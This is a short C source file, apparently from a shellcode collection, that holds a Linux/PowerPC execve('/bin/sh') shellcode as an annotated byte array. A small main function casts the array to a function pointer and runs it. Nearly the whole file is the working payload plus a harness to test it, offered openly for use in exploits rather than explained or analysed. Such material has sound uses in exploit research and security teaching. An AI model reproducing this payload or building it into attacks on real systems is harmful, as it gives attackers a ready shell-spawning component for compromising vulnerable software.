/* execve-core.c by Charles Stevenson < core@bokeoa.com > */ char hellcode[] = /* execve /bin/sh linux/ppc by core */ // Sometimes you can comment out the next line if space is needed "\x7c\x3f\x0b\x78" /*mr r31,r1*/ "\x7c\xa5\x2a\x79" /*xor. r5,r5,r5*/ "\x42\x40\xff\xf9" /*bdzl+ 10000454< main>*/ "\x7f\x08\x02\xa6" /*mflr r24*/ "\x3b\x18\x01\x34" /*addi r24,r24,308*/ "\x98\xb8\xfe\xfb" /*stb r5,-261(r24)*/ "\x38\x78\xfe\xf4" /*addi r3,r24,-268*/ "\x90\x61\xff\xf8" /*stw r3,-8(r1)*/ "\x38\x81\xff\xf8" /*addi r4,r1,-8*/ "\x90\xa1\xff\xfc" /*stw r5,-4(r1)*/ "\x3b\xc0\x01\x60" /*li r30,352*/ "\x7f\xc0\x2e\x70" /*srawi r0,r30,5*/ "\x44\xde\xad\xf2" /*.long 0x44deadf2*/ "/bin/shZ"; // the last byte becomes NULL int main(void) { void (*shell)() = (void *)&hellcode; printf("%d byte execve /bin/sh shellcode for linux/ppc by core\n", strlen(hellcode)); shell(); return 0; }